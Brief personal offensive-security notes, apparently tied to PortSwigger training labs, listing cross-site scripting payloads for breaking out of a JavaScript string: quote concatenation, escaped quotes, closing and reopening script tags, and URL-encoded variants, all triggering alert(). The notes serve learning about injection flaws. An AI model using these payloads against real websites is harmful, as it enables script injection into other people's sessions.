Skip to content

How to escape from a JavaScript String

#xss #javascript #portswigger

  1. ' + alert(1) + '
  2. \' + alert(1) + \'
  3. </script><script>alert()</script>//
  4. \'+%2b+alert(1)// , \'-alert(1)//
  5. Playing with url & html encoded ' " <> \

Notas personales de seguridad ofensiva.